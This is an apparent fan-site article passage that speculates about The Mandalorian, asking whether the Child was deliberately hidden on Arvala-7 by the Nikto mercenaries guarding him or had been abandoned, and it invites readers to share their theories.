Kuiil later told Mando upon arriving at the encampment, “Since these ones [guarding it] arrived, this territory has been an endless stream of mercenaries seeking reward… and leaving destruction.”

So, “many” have come after the Child — “an endless stream of mercenaries,” in fact. That suggests Baby Yoda had been hidden behind that steel door for quite some time. And yet there were no signs the Child was being cared for, fed. (Maybe that’s why he is so damn hungry all the time!) The room was dim and dusty. And his pram was actually half-draped by a ratty blanket — not enough so that any hint of an attempt to conceal it from a passerby was being made.

Baby Yoda

And yet there he was suddenly found, after being aggressively sought by “many.”

Did the Nikto mercs have any idea what they were guarding? (And if they had been recruited on the Child’s behalf, did Mando and IG-11 in fact whack some good-ish guys? Whoops.)

But Niktos are by and large mercenaries/enforcers. Not exactly a noble species by nature. That said, some have been Jedi — namely, Ima-Gun Di from Star Wars: The Clone Wars. So although Ima-Gun Di, for one, died decades prior, maybe another Nikto Jedi enlisted his brethren to protect this Force-sensitive creature?

What do you think — was Baby Yoda being hidden on Arvala-7? And if so, by whom? Or based on the grim environment in which he was found, had the Child been abandoned, perhaps inadvertently/in the heat of a moment?

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